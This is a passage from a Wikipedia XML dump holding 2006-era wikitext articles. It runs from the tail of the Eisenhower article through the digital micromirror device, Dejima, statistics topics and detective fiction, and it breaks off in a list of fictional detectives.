* [http://www.badley.info/history/Eisenhower-Dwight-David-USA.biog.html Eisenhower Chronology World History Database]
* [http://www.eisenhower.archives.gov/ The Eisenhower Presidential Library and Museum]
*[http://www.heraldrysociety.us/presidents/index.php?page=Eisenhower Armigerous American Presidents Series]
* [http://www.whitehouse.gov/history/presidents/de34.html White House biography]
* [http://www.whitehousetapes.org/pages/tapes_dde.htm Eisenhower Tapes @ University of Virginia's Miller Center of Public Affairs] (Oval Office recordings)
* [http://www.yale.edu/lawweb/avalon/presiden/inaug/eisen1.htm First Inaugural Address]
* [http://www.yale.edu/lawweb/avalon/presiden/inaug/eisen2.htm Second Inaugural Address]
* [http://vvl.lib.msu.edu/showfindingaid.cfm?findaidid=EisenhowerD Audio clips of Eisenhower's speeches]
* [http://sources.wikipedia.org/wiki/Military-Industrial_Complex_Speech Farewell Address], Wikisource
* [http://www.jan.vandercrabben.name/unidocs/kcl/Eisenhower_and_Nukes.pdf Essay: Why the Eisenhower administration embraced nuclear weapons (PDF)]
* [http://www.eisenhowermemorial.org/index.html The Dwight D. Eisenhower Memorial Commission]
* [http://www.eisenhowermemorial.org/presidential-papers/index.htm The Presidential Papers of Dwight David Eisenhower (Searchable Online)]

{{start box}}
{{succession box|title=[[Military Governor of the U.S. Occupation Zone in Germany]]| before=''(none)''|after=Gen. [[Joseph T. McNarney]]| years=1945}}
{{succession box|title=[[Chief of Staff of the United States Army]]|before=Gen. [[George C. Marshall]]|after=Gen. [[Omar N. Bradley]]|years=1945 &amp;ndash; 1948}}
{{succession box|title=[[Columbia University|President of Columbia University]]|before=[[Frank D. Fackenthal]]|after=[[Grayson L. Kirk]]|years=1948 &amp;ndash; 1953}}
{{succession box|title=[[Supreme Allied Commander Europe]] ([[NATO]]) | before=''(none)''|after=[[Matthew B. Ridgway]]|years=1951 &amp;ndash; 1952}}
{{succession box|title=[[List of United States Republican Party presidential tickets|Republican Party presidential candidate]]|before=[[Thomas Dewey]]|after=[[Richard Nixon]]|years=[[U.S. presidential election, 1952|1952]] (won), [[U.S. presidential election, 1956|1956]] (won)}}
{{succession box|title=[[President of the United States]]|before=[[Harry S. Truman]]|after=[[John F. Kennedy]]|years=[[January 20]], [[1953]] &amp;ndash; [[January 20]], [[1961]]}}
{{end box}}

{{USRepPresNominees}}
{{USpresidents}}

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[[Category:Recipients of the Legion of Merit|Eisenhower, Dwight]]
[[Category:Recipients of Virtuti Militari|Eisenhower, Dwight]]
[[Category:Order of Léopold recipients]]
[[Category:United States Army generals|Eisenhower, Dwight]]
[[Category:Republican Party (United States) presidential nominees|Eisenhower, Dwight]]
[[Category:West Point graduates|Eisenhower, Dwight]]

[[bg:Дуайт Айзенхауер]]
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[[ja:ドワイト・D・アイゼンハワー]]
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[[zh:德怀特·艾森豪威尔]]</text>
    </revision>
  </page>
  <page>
    <title>Dwight Eisenhower</title>
    <id>8183</id>
    <revision>
      <id>15906198</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Vera Cruz</username>
        <id>5753</id>
      </contributor>
      <comment>moved to &quot;Dwight_D._Eisenhower&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Dwight_D._Eisenhower]]
</text>
    </revision>
  </page>
  <page>
    <title>Digital micromirror device</title>
    <id>8184</id>
    <revision>
      <id>37315497</id>
      <timestamp>2006-01-30T04:47:36Z</timestamp>
      <contributor>
        <username>Hooperbloob</username>
        <id>113077</id>
      </contributor>
      <comment>+cat</comment>
      <text xml:space="preserve">A '''Digital Micromirror Device''', or '''DMD''' is an [[optical]] [[semiconductor]] that is the core of [[DLP]] projection [[technology]], and was [[invent]]ed by [[Dr. Larry Hornbeck]] and [[Dr. William E. Nelson|Dr. William E. &quot;Ed&quot; Nelson]] of [[Texas Instruments]] (TI) in [[1987]].

The DMD project began as the Deformable Mirror Device in 1977, using micromechanical, analog light modulators.  The first analog DMD product was the TI DMD2000 airline ticket printer that used a DMD instead of a laser scanner.

A DMD chip has on its surface several hundred thousand microscopic [[mirror]]s arranged in a [[rectangular]] [[array]] that corresponds to the [[pixel]]s in the image to be displayed. The mirrors can be individually rotated plus or minus 10-12&amp;deg;, to an on or off state. In the on state, light from the bulb is reflected onto the lens making the pixel appear bright on the screen. In the off state, the light is directed somewhere else (usually onto a heatsink), making the pixel appear dark.

To produce [[greyscale]]s, the mirror is toggled on and off very quickly, and the ratio of on time to off time determines the shade produced (binary [[PWM|pulsewidth modulation]]). Contemporary DMD chips can produce up to 1024 shades of gray. See [[DLP]] for discussion of how color images are produced in DMD-based systems.

The mirrors themselves are made out of [[aluminum]] and are around 16 [[micrometre]]s across. Each one is mounted on a yoke which in turn is connected to two support posts by compliant [[torsion spring|torsion hinge]]s. In this type of hinge, the axle is fixed at both ends and literally twists in the middle. Because of the small scale, hinge fatigue is not a problem and tests have shown that even 1 trillion operations does not cause noticeable damage. Tests have also shown that the hinges cannot be damaged by normal shock and vibration, since it is absorbed by the DMD superstructure.

Two pairs of electrodes on either side of the hinge control the position of the mirror by electrostatic attraction. One pair acts on the yoke and the other acts on the mirror directly. The majority of the time, equal bias charges are applied to both sides simultaneously. Instead of flipping to a central position as one might expect, this actually holds the mirror in its current position. This is because attraction force on the side the mirror is already tilted towards is greater, since that side is closer to the electrodes.

To move the mirror, the required state is first loaded into an [[static RAM|SRAM]] cell located beneath the pixel, which is also connected to the electrodes. The bias voltage is then removed, allowing the charges from the SRAM cell to prevail, moving the mirror. When the bias is restored, the mirror is once again held in position, and the next required movement can be loaded into the memory cell.

The bias system is used because it reduces the voltage levels required to address the pixels such that they can be driven directly from the SRAM cell, and also because the bias voltage can be removed at the same time for the whole chip, meaning every mirror moves at the same instant. The advantages of the latter are more accurate timing and a more [[film]]ic moving image.

==Applications==
* [[Televisions]] and [[HDTV]]s
* [[Holographic Versatile Disc]]s
* [[Head-mounted displays]]

==External links==
*[http://www.dlp.com/dlp_technology/dlp_technology_white_papers.asp DLP White Paper Library] 
*[http://www.audioholics.com/techtips/specsformats/displays_DLP_technology2.html DMD Resource]
*[http://www.ti.com/sc/docs/products/dlp/spie-paper.pdf Emerging Digital Micromirror Device (DMD) Applications]

[[Category:Transducers]]
[[Category:Semiconductor devices]]

[[de:Digital Micromirror Device]]</text>
    </revision>
  </page>
  <page>
    <title>Dejima</title>
    <id>8185</id>
    <revision>
      <id>41766808</id>
      <timestamp>2006-03-01T16:24:57Z</timestamp>
      <contributor>
        <username>Marco polo</username>
        <id>778241</id>
      </contributor>
      <comment>/* [[Sakoku]] policy */ Fixed text to be accurate within context</comment>
      <text xml:space="preserve">:''For the [[Ghost in the Shell]] refugee island, see [[Dejima Island]]''.

[[Image:Nagasaki bay siebold.web.jpg|thumb|right|250px|View of Dejima in Nagasaki Bay]]
[[Image:Deshima Scale Model2.jpg|thumb|right|250px|Scale model of Dutch trading post on display in Dejima (2003)]]
[[Image:Dejima7398.JPG|thumb|right|250px|Edo-era boundaries of Dejima island (outlined in red) within the modern city of Nagasaki.]]
'''Dejima''', also '''Deshima''' (&amp;#20986;&amp;#23798;, literally 'protruding island') in modern [[Japanese language|Japanese]], '''Desjima''' in Dutch, often latinised as '''Decima''', was a fan-shaped [[artificial island]] in the bay of [[Nagasaki]] that was a [[Netherlands|Dutch]] trading post during [[Japan]]'s self-imposed isolation ([[sakoku]]) of the [[Edo period]], from [[1641]] until [[1853]].

==History==

The [[island]] was constructed in [[1634]], on orders of shogun [[Tokugawa Iemitsu|Iemitsu]], and originally accommodated [[Portugal|Portuguese]] merchants. The [[Shimabara Rebellion|Shimabara uprising]] of 1637, in which Christian Japanese took an active part, was crushed  with the help of the Dutch. After the Portuguese and other Catholic nations were expelled from Japan in 1638, the [[shogunate]] ordered the [[Dutch East India Company]] (V.O.C.)  transfer its mercantile operations from the port of [[Hirado]] (established on [[20 September]] [[1609]]) to Deshima. From now on, only the Chinese and the Dutch could trade with Japan. It is significant that Deshima was a man-made island, hence not part of Japan proper. Thus the foreigners were kept at arm's length from the sacred soil of Japan. 

It was a small island, 120 m by 75 m, linked to the mainland by a small bridge, manned on both sides by guards, with a gate on the Dutch side. It contained houses for about 20 Dutchmen, warehouses and accommodation for Japanese government officials. The Dutch were watched by a number of Japanese officials, gatekeepers, night watchmen and a supervisor (''otona'') with about 50 subordinates. There were a number  of merchants for supplies and catering and about 150 interpreters (''tsūji''). They all had to be paid by the V.O.C. Dejima was under direct central supervision of Edo by a governor, called a ''bugyō'', responsible for all contact between the V.O.C. and Edo.

Every Dutch ship that arrived in Dejima was inspected by the bugyō. The sails were seized until the ship could leave again. Religious books and weapons were sealed and taken in custody. No religious services were allowed on the island.

Despite the financial burden of their residence on Dejima, the trade with Japan was very profitable for the V.O.C., initially yielding profits of 50 % or even more. Trade declined in the 18th century, when only two ships were allowed yearly to dock at Dejima. After the bankruptcy of the V.O.C in 1795, the Dutch government took over the settlement. Times were especially hard when Holland was under French Napoleonic rule and all ties with the homeland were severed.

The chief executive on the Dutch side was the ''Opperhoofd'' (here [[Chief factor]], but the same Dutch word is usually used for a native, e.g. American Indian, Chief), and remained so under Dutch state authority. There was about one incumbent a year, until [[28 February]] [[1860]].

== [[Sakoku]] policy ==

For two hundred years, Dutch merchants were generally not allowed to cross from Deshima to Nagasaki, and Japanese were likewise banned from entering Deshima, except for prostitutes. Official exceptions were also made to this rule, especially following [[Tokugawa Yoshimune]]'s doctrine of promoting European practical sciences. European scholars such as [[Engelbert Kaempfer]], [[Carl Peter Thunberg]], and [[Philipp Franz von Siebold]] were allowed to enter the mainland with the shogunate's permission. Starting in the 1700s, Deshima became known throughout Japan as a center of medicine, military science, and astronomy, and many [[samurai]] travelled there for &quot;Dutch studies&quot; ([[Rangaku]]).

In addition, the Head of the Dutch 'factory' (trading post), known by the title of ''opperhoofd'', was treated like a Japanese [[daimyo]], which meant that he had to pay a visit of homage to the [[Shogun]] in [[Edo]] regularly (the so-called [[sankin kotai]]). In contrast to daimyo, the Japanese delegation traveled to Edo yearly between 1660 and 1790 and once every four years thereafter. In Edo the opperhoofd and his retinue (usually his scribe and the factory doctor) were expected to perform Dutch dances and songs etc. for the amusement of the shogunate, but they also used the opportunity of their stay in the capital to exchange knowledge with learned Japanese.

The Dutch East India Company's trading post at Deshima was closed in [[1857]], once Dutch merchants were allowed to trade in Nagasaki City. Since then, the island has been surrounded by [[reclaimed land]] and merged into Nagasaki: its original location is marked by rivets.

A project to restore Deshima is now underway. In modern Japanese the pronunciation would be ''Dejima''; in relation to the Dutch trading post, ''Deshima'' is the preferred spelling.

== See also ==
* [[Rangaku]] - Dutch studies
* [[Sakoku]] - &quot;chained country&quot;

==Sources and External links==
*[http://www1.city.nagasaki.nagasaki.jp/dejima/en/index.html Dejima: The Island Comes Back to Life]
*[http://Hendrick-Hamel.henny-savenije.pe.kr/henny/Deshima.htm A map of Deshima]
*[http://Hendrick-Hamel.henny-savenije.pe.kr/holland3.htm At the bottom you will also find an image of Deshima]
*[http://www.worldstatesmen.org/Japan.htm#Dejima WorldStatesmen - includes a list of Chief factors]

{{Former Dutch colonies}}
[[Category:Artificial islands]]
[[Category:Islands of Japan]]

[[de:Deshima]]
[[fr:Dejima]]
[[la:Insula Desima]]
[[nl:Dejima]]
[[ja:出島]]</text>
    </revision>
  </page>
  <page>
    <title>Descriptive statistics</title>
    <id>8187</id>
    <revision>
      <id>34013497</id>
      <timestamp>2006-01-05T20:17:49Z</timestamp>
      <contributor>
        <username>Vina-iwbot</username>
        <id>727408</id>
      </contributor>
      <minor />
      <comment>robot  Adding: zh</comment>
      <text xml:space="preserve">'''Descriptive statistics''' is a branch of [[statistics]] that denotes any of the many techniques used to summarize a set of data. In a sense, we are using the data on members of a set to describe the set. The techniques are commonly classified as:
# Graphical description in which we use graphs to summarize data.
# Tabular description in which we use tables to summarize data.
# Summary statistics in which we calculate certain values to summarize data.

In general, statistical data can be described as a list of ''subjects'' or ''units'' and the data associated with each of them. Although most research uses many data types for each ''unit'', we will limit ourselves to just one data item each for this simple introduction. 

We have two objectives for our summary:

#We want to choose a [[statistic]] that shows how different ''units'' seem similar. Statistical textbooks call the solution to this objective, a ''measure of [[central tendency]].''
#We want to choose another [[statistic]] that shows how they differ. This kind of statistic is often called a ''measure of [[statistical dispersion|statistical variability]]''.

When we are summarizing a quantity like length or weight or age, it is common to answer the first question with the '''[[arithmetic mean]],''' the '''[[median]],''' or the '''[[mode (statistics)|mode]].''' Sometimes, we choose specific values from the [[cumulative distribution function]] called [[quantile]]s.

The most common measures of variability for [[quantitative data]] are the [[variance]]; its square root, the [[standard deviation]]; the [[range (statistics) | range]]; [[interquartile range]]; and the [[absolute deviation]].

==Steps in descriptive statistics==
# [[Collect]] data
# [[Classify]] data
# [[Summarize]] data
# [[presentation|Present]] data
# Proceed to [[inferential statistics]] if there is enough [[data]] to draw a [[conclusion]].

==See also==
* [[statistical regularity]]
* [[planning statistical research]]
* [[statistical inference]]
* [[summary statistics]]
* [[data mining]]

[[Category:Statistics]]

[[de:Deskriptive Statistik]]
[[fr:Statistique descriptive]]
[[it:Statistica descrittiva]]
[[pl:Statystyka opisowa]]
[[pt:Estatística descritiva]]
[[su:Statistik deskriptif]]
[[zh:描述统计学]]</text>
    </revision>
  </page>
  <page>
    <title>Discrete probability distribution</title>
    <id>8188</id>
    <revision>
      <id>31276176</id>
      <timestamp>2005-12-14T02:19:59Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <comment>&quot;cumulative&quot; and &quot;density&quot; contradict each other!!  &quot;Density&quot; is LOCAL; otherwise it would not be called &quot;density&quot;.</comment>
      <text xml:space="preserve">In [[mathematics]], a [[probability distribution]] is called '''discrete''', if it is fully characterized by a [[probability mass function]].  Thus, the distribution of a [[random variable]] ''X'' is discrete, and ''X'' is then called a '''discrete random variable''', if

:&lt;math&gt;\sum_u \Pr(X=u) = 1\qquad\qquad\qquad(1)&lt;/math&gt;

as ''u'' runs through the set of all possible values of ''X''.

If a random variable is discrete, then the [[set]] of all values that it can assume with nonzero probability is [[finite]] or [[countably infinite]], because the sum of uncountably many positive [[real number]]s (which is the smallest upper bound of the set of all finite partial sums) always diverges to infinity.

In the cases most often considered, this set of possible values is a topologically discrete set in the sense that all its points are [[isolated point]]s.  But there are discrete random variables for which this countable set is [[dense set|dense]] on the real line.

The [[Poisson distribution]], the [[Bernoulli distribution]], the [[binomial distribution]], the [[geometric distribution]], and the [[negative binomial distribution]] are among the most well-known discrete probability distributions.

==Alternative description==

Equivalently to the above, a discrete random variable can be defined as a random variable whose [[cumulative distribution function]] (cdf) increases only by [[jump discontinuity|jump discontinuities]] &amp;mdash; that is, its cdf increases only where it &quot;jumps&quot; to a higher value, and is constant between those jumps. The points where jumps occur are precisely the values which the random variable may take.  The number of such jumps may be finite or  [[countably infinite]]. The set of locations of such jumps need not be topologically discrete; for example, the cdf might jump at each [[rational number]].

==Representation in terms of indicator functions==
For a discrete random variable ''X'', let ''u''&lt;sub&gt;0&lt;/sub&gt;, ''u''&lt;sub&gt;1&lt;/sub&gt;, ... be the  values it can assume with non-zero probability. Denote 

:&lt;math&gt;\Omega_i=\{\omega: X(\omega)=u_i\},\, i=0, 1, 2, \dots&lt;/math&gt;

These are disjoint sets, and by formula (1) 

:&lt;math&gt;\Pr\left(\bigcup_i \Omega_i\right)=\sum_i \Pr(\Omega_i)=\sum_i\Pr(X=u_i)=1.&lt;/math&gt;

It follows that the probability that ''X'' assumes any value except for ''u''&lt;sub&gt;0&lt;/sub&gt;, ''u''&lt;sub&gt;1&lt;/sub&gt;, ... is zero, and thus one can write ''X'' as 

:&lt;math&gt;X=\sum_i \alpha_i 1_{\Omega_i}&lt;/math&gt;

except on a set of probability zero, where &lt;math&gt;\alpha_i=\Pr(X=u_i)&lt;/math&gt; and &lt;math&gt;1_A&lt;/math&gt; is the [[indicator function]] of ''A''. This may serve as an alternative definition of discrete random variables. 

[[Category:Probability theory]]

[[nl:Discrete stochastische variabele]]
[[pt:Variável aleatória discreta]]
[[su:Variabel random diskrit]]</text>
    </revision>
  </page>
  <page>
    <title>Demographic statistics</title>
    <id>8189</id>
    <revision>
      <id>25344345</id>
      <timestamp>2005-10-12T09:15:07Z</timestamp>
      <contributor>
        <username>Zzuuzz</username>
        <id>365454</id>
      </contributor>
      <minor />
      <comment>/* External links */ dud link</comment>
      <text xml:space="preserve">Among the kinds of data that national leaders need are the '''[[Demography|demographic]] statistics''' of their population. Records of births, deaths, marriages, immigration and emigration and a regular census of population provide information that is key to making sound decisions about national policy.

A useful summary of such data is the [[population pyramid]]. It provides data about the sex and age distribution of the population in an accessible graphical format.

Another summary is called the [[life table]]. For a ''cohort'' of persons born in the same year, it traces and projects their life experiences from birth to death. For a given cohort, the proportion expected to survive each year (or decade in an ''abridged life table'') is presented in tabular or graphical form.

The ratio of males to females by age indicates the consequences of differing mortality rates on the sexes. Thus, while values above one are common for newborns, the ratio dwindles until it is well below one for the older population.

== See also ==
* [[Applied statistics]]

==External links==
&lt;!--
* See for example, the statistical report on [http://www.t.mt/home/cos/cospubs/demography/1997/index.htm Malta]
--&gt;
* [http://www.statcan.ca/english/kits/animat/pyone.htm Population pyramid]
* [http://www.ac.wwu.edu/~drl/lifetable.htm Life Table]

[[Category:Population]]

[[su:Statistika démografi]]</text>
    </revision>
  </page>
  <page>
    <title>Detective fiction</title>
    <id>8192</id>
    <revision>
      <id>41765267</id>
      <timestamp>2006-03-01T16:11:04Z</timestamp>
      <contributor>
        <ip>128.240.229.3</ip>
      </contributor>
      <comment>/* Books */</comment>
      <text xml:space="preserve">'''Detective fiction''' is a branch of [[crime fiction]] that centres upon the investigation of a crime, usually [[murder]], by a [[detective]], either professional or amateur.  It is closely related to [[mystery fiction]] but generally contains more of a puzzle element that must be solved, generally by a single protagonist, either male or female.

A common feature of detective fiction is an investigator who is unmarried, with some source of income other than a regular job, and who generally has some pleasing eccentricities or striking characteristics.  He or she frequently has a less intelligent assistant, or [[Foil (literature)|foil]], who is asked to make apparently irrelevant inquiries and acts as an [[audience surrogate]] for the explanation of the mystery at the end of the story. 

== Whodunit? ==

The most widespread subgenre of the detective novel is the [[whodunit]] (or ''whodunnit''), where great ingenuity may be exercised in narrating the events of the crime and of the subsequent investigation in such a manner as to conceal the identity of the criminal from the reader until the end of the book, when the method and culprit are revealed.

Early archetypes of these stories were the three Auguste Dupin tales by [[Edgar Allan Poe]]: &quot;[[The Murders in the Rue Morgue]]&quot; ([[1841]]), &quot;[[The Mystery of Marie Roget]]&quot; ([[1843]]), and &quot;[[The Purloined Letter]]&quot; ([[1844]]). Poe's detective stories have been described as ratiocinative tales (citation needed). In stories such as these, the primary concern of the plot is ascertaining truth, and the usual means of obtaining the truth is through a complex and mysterious process combining intuitive logic, astute observation, and perspicacious inference.  As a consequence, the crime itself sometimes becomes secondary to the efforts taken to solve it.  &quot;The Mystery of Marie Roget&quot; is particularly interesting, as it is a barely fictionalized analysis of the circumstances of the real-life discovery of the body of a young woman named Mary Cecilia Rogers, in which Poe expounds his theory of what actually happened.  The style of the analysis, with its attention to [[Forensic pathology|forensic]] detail, makes it a precursor if not the inspiration of the stories about the most famous of all fictional detectives, [[Arthur Conan Doyle]]'s [[Sherlock Holmes]], who in turn set the style for many others in later years, including Holmesian [[pastiche]]s such as [[August Derleth]]'s [[Solar Pons]].

Another early archetype of the whodunit is found as a sub-plot in the vast novel ''[[Bleak House]]'' (1853) by [[Charles Dickens]].  The conniving lawyer Tulkinghorn is killed in his office late one night, and the crime is investigated by Inspector Bucket of the Metropolitan force.  Numerous characters appeared on the staircase leading to Tulkinghorn's office that night, some of them in disguise, and Inspector Bucket must penetrate these mysteries to identify the culprit.  

Dickens's protégé, [[Wilkie Collins]] ([[1824]]-[[1889]]), is credited with the first great mystery novel, ''[[The Woman in White]]''. He is sometimes referred to as the &quot;grandfather of English detective fiction.&quot; His novel ''[[The Moonstone]]'' (1868) was described by [[T. S. Eliot]] as &quot;the first and greatest of English detective novels&quot; and by [[Dorothy L. Sayers]] as &quot;probably the very finest detective story ever written&quot;. Although technically preceded by [[Charles Felix]]'s ''[[The Notting Hill Mystery]]'' ([[1865]]), ''The Moonstone'' can claim to have established the genre with several classic features of the twentieth-century detective story:
* A country house robbery
* An '[[inside job]]' 
* A celebrated investigator
* Bungling local constabulary 
* Detective enquiries
* False suspects 
* The 'least likely suspect'
* A rudimentary 'locked room' murder 
* A reconstruction of the crime 
* A final twist in the plot

Some readers have suggested even earlier prototypes for the whodunit, most notably the Old Testament story of [[Susanna and the Elders]] (Daniel 13; in the [[Protestant]] [[Bible]] this story is found in the [[apocrypha]]) and the story of the dog and the horse related in the third chapter of [[Voltaire]]'s ''[[Zadig]]'' (1747).

== The [[Private Eye Novel]] ==
Although the British private eye [[Martin Hewitt]] (by [[Arthur Morrison]]) had already appeared by 1894, the genre was adopted wholeheartedly by the likes of [[Dashiell Hammett]], and were considered novels of the [[proletariat]], exploring &quot;mean streets&quot; and the underbelly of corruption within the United States.  Several movies have been based on his work, including three versions of ''[[The Maltese Falcon]]'' and a series of movies based on ''[[The Thin Man]]''.

[[Raymond Chandler]] updated the form with his [[private detective]] [[Philip Marlowe]], who brought a more intimate voice to the detective than Hammett's distant-third viewpoint. His cadenced dialog and cryptic narrations were musical, evoking the alleys and tough thugs, rich women and powerful men about whom he wrote.  Laced with commentary, his books still hold up.  Several feature and television movies have been made about the Phillip Marlowe character.

[[Ross Macdonald]], pseudonym of [[Ken Millar]], updated the form again with his detective [[Lew Archer]], while still writing in what is considered the PI's [[Golden Age of detective fiction]], begun by Hammett.  Archer, like Hammett's fictional heroes, was a camera eye, with hardly any known past.  &quot;Turn Archer sideways, and he disappears,&quot; one reviewer wrote.  Two of Macdonald's strengths were his use of psychology and his beautiful prose, which was full of imagery.  Like other '[[hardboiled]]' writers, Macdonald aimed to give an impression of realism in his work through violence, sex and confrontation; this is illusory, however, and any real private eye undergoing a typical fictional investigation would soon be dead or incapacitated.  The movie ''[[Harper]]'' starring [[Paul Newman]] was based on the Lew Archer character.

[[Michael Collins (author)|Michael Collins]], pseudonym of [[Dennis Lynds]], is generally considered the author who led the form into the Modern Age.  His PI, [[Dan Fortune]], was consistently involved in the same sort of David-and-Goliath stories that Hammett, Chandler, and Macdonald wrote, but he took a sociological bent, exploring the meaning of his characters' places in society and the impact society had on people.  Full of commentary and clipped prose, his books were more intimate than his predecessors, dramatizing that crime can happen in one's own living room.

The PI novel was a male-dominated field in which female authors seldom found publication until [[Marcia Muller]], [[Sara Paretsky]], and [[Sue Grafton]] were finally published in the late 1970s and early 1980s.  Each author's detective was brainy, physical, and could hold her own.  Their acceptance then success caused publishers to seek out other fine female authors.  

The PI today is rich in variety.  The strongest characteristic that binds them is that the detective now has a past and a life, while solving cases.  The premier authors' organization of PI writers is the [[Private Eye Writers of America]].

== [[Cosies]] ==

English readers, in their own [[Golden Age of detective fiction]] between the wars generally preferred a different, but equally implausible, type of detective story in which an outsider - sometimes a salaried investigator or a police officer, but more often a gifted amateur - investigates a murder committed in a closed environment by one of a limited number of suspects. These have become known as 'cosies' to distinguish them from the 'hard-boiled' type preferred in the USA. The most popular writer of cosies, and one of the most popular writers of all time, was [[Agatha Christie]], who produced a long series of books featuring her detectives [[Hercule Poirot]] and [[Miss Marple]], amongst others, and usually including a complex puzzle for the baffled and misdirected reader to try and unravel. The 'puzzle' approach was carried even further into ingenious and seemingly impossible plots by [[John Dickson Carr]], who also wrote as Carter Dickson, and [[John Rhode]], whose detective [[Dr. Priestley]] specialised in elaborate technical devices, while in the US the 'cosy' was adopted and extended by [[Rex Stout]] and [[Erle Stanley Gardner]]. The popularity of cosies has declined in the last four decades, perhaps partly due to attacks on their 'unrealistic' approach; although given that their primary goal is to present a puzzle, one might as well attack a crossword or a chess problem for its unrealism.

This emphasis on formal 'rules' during the British Golden Age produced a variety of reactions. Most writers were content to follow the rules slavishly, some flouted some or all of the conventions, and some exploited the conventions with genius to produce new and startling results. The &quot;Golden Age&quot; also displayed many elements typical of [[escapist]] writing and this was attributed to its popularity at the time as many wished to escape the depression of World War I and its aftermath.

== [[Police procedural]] ==

Many detective stories have [[police]] officers as the main characters.  Of course these stories may take many forms, but many authors try to go for a realistic depiction of a police officer's routine.  A good deal are whodunits; in others the criminal is well known, and it is a case of getting enough evidence.

Some typical features of these are:
* The detective is rarely the first on the crime scene - it will be milling with uniform, paramedics and possibly members of the public.
* Forensic reports - and the wait for them.
* Rules and regulations to follow - or not.
* Suspects arrested and kept in custody - sometimes wrongly.
* Pressure from senior officers to show progress.
* A large investigating team - two, three or four main characters, plus other officers to order about.
* [[Pub]]s - places to discuss or think about the case - especially in the [[Inspector Morse]] mysteries. 
* Informants - to lean on.
* Political pressure when the suspects are prominent figures
* Internal hostility from comrades when the suspects are fellow police officers
* Pressure from the media (tv, newspapers) to come up with an answer
* Interesting and unusual cars driven by the principal detective

== Other subgenres ==

There is also a subgenre of historical detectives.  See [[historical whodunnit]] for an overview.

==Suspense - the core tenet of detective fiction==

A beginner to detective fiction would generally be advised against reading anything about a piece of detective fiction (such as a blurb or an introduction) before reading the text itself. Even if they do not mean to, advertisers, reviewers, scholars and aficionados usually have a habit of giving away details or parts of the plot, and sometimes -- for example in the case of [[Mickey Spillane]]'s novel ''[[I, the Jury]]'' -- even the solution. (After the credits of [[Billy Wilder]]'s film ''[[Witness for the Prosecution]]'', the cinemagoers are asked not to talk to anyone about the plot so that future viewers will also be able to fully enjoy the unravelling of the mystery.)

===The unresolved problem of plausibility and coincidence===

Up to the present, some of the problems inherent in crime fiction have remained unsolved (and possibly also insoluble). Some of them can be dismissed with a shrug: Why bother at all, even if it is obvious to everyone that an ordinary person is not likely to keep stumbling across corpses? After all, this is just part of the game of crime fiction. Still the fact that an old spinster like [[Miss Marple]] meets with an estimated two bodies per year does raise a few doubts as to the plausibility of the Miss Marple mysteries. De Andrea has described the quiet little village of St. Mary Mead as having &quot;put on a pageant of human depravity rivaled only by that of Sodom and Gomorrah&quot;. Similarly, TV heroine Jessica Fletcher is confronted with bodies wherever she goes, but over the years people who have met violent deaths have also piled up in the streets of Cabot Cove, [[Maine]], the cosy little village where she lives. Generally, therefore, it is much more convincing if a policeman, private eye, [[forensics|forensic expert]] or similar professional is made the hero or heroine of a series of crime novels. On the other hand, who cares for authenticity?

Also, the role and legitimacy of coincidence has frequently been the topic of heated arguments ever since [[Ronald Knox|Knox]] categorically stated that &quot;no accident must ever help the detective&quot; (Commandment No.6). 

Technological progress has also rendered many of plots implausible and antiquated. For example, the use of [[mobile phone]]s by practically everyone these days has significantly altered the dangerous situations that investigators traditionally find themselves in.  Some authors have not succeeded in adapting to the changes brought about by modern technology; others, among them [[Carl Hiaasen]] (born [[1953]]), have. 

== Famous fictional detectives ==

The full list of fictional detectives would be immense. The format is well suited to dramatic presentation, and so there are also many television and film detectives, besides those appearing in adaptations of novels in this genre. Fictional detectives generally fall within one of four domains: 
* the amateur or dilettante detective (Marple, Jessica Fletcher); 
* the private investigator (Holmes, Marlowe, Spade, Rockford); 
* the police detective (Ironside, Kojak, Morse);
* more recently, the medical examiner, criminal psychologist, forensic evidence expert or other specialists (Scarpetta, Quincy, Cracker, CSI).

Notable fictional detectives and their creators include:
===Amateurs===
*[[Father Brown]] &amp;mdash; [[G. K. Chesterton]]
*[[Roger Bannion]] &amp;mdash; [[Herbert Adams]]
*[[Roger Sheringham]] &amp;mdash; [[Anthony Berkeley]]
*[[Albert Campion]] &amp;mdash; [[Margery Allingham]]
*[[Kate Fansler]] &amp;mdash; [[Amanda Cross]]
*[[Dr. Gideon Fell]] &amp;mdash; [[John Dickson Carr]]
*[[Jessica Fletcher]] &amp;mdash; [[Peter S. Fischer]], [[Richard Levinson]] &amp; [[William Link]]: ''[[Murder, She Wrote]]'' (TV)
*[[Kinky Friedman]] &amp;mdash; [[Kinky Friedman]]
*[[Jannie Jansen]] &amp;mdash; [[Janwillem van de Wetering]]
*[[Jimmy Kudo]] (Shin'ichi Kudo) a.k.a. Conan Edogawa &amp;mdash; [[Gosho Aoyama]]
*[[Hajime Kindaichi]] &amp;mdash; [[Yozaburo Kanari]] &amp; [[Fumiya Sato]]: '''[[Kindaichi Case Files]]''' [[manga]] series
*[[Donald Lam]] &amp;mdash; [[Erle Stanley Gardner]]
*[[Miss Marple]] &amp;mdash; [[Agatha Christie]] 
*[[Hercule Poirot]] &amp;mdash; [[Agatha Christie]] 
*[[The Great Merlini]] &amp;mdash; [[Clayton Rawson]]
*Sir [[Henry Merrivale]] &amp;mdash; [[Carter Dickson]]
*Special Agent [[Pendergast]] &amp;mdash; [[Douglas Preston]] &amp; [[Lincoln Child]]
*[[Drury Lane (fictional detective)|Drury Lane]] &amp;mdash; [[Ellery Queen]] (originally published under the pseudonym Barnaby Ross)
*[[Ellery Queen]] &amp;mdash; [[Ellery Queen]]
*[[Cat Who Book|Jim Qwilleran]] &amp;mdash; [[Lilian Jackson Braun]]
*[[Simon Templar]] aka ''The Saint'' &amp;mdash; [[Leslie Charteris]]
*[[Easy Rawlins]] &amp;mdash; [[Walter Mosley]]
*[[Rabbi David Small]] &amp;mdash; [[Harry Kemelman]]
*[[Paul Temple]] &amp;mdash; [[Francis Durbridge]]
*[[Philip Trent]] &amp;mdash; [[Edmund Clerihew Bentley|E.C. Bentley]]
*[[Augustus S. F. X. Van Dusen]] &amp;mdash; [[Jacques Futrelle]]
*[[Lord Peter Wimsey]] &amp;mdash; [[Dorothy L. Sayers]]
*[[Philo Vance]] &amp;mdash; [[S.S. Van Dine]]
*[[Perry Mason]] &amp;mdash; [[Erle Stanley Gardner]]

===Private eyes===
*[[Lew Archer]] &amp;mdash; [[Ross Macdonald]]
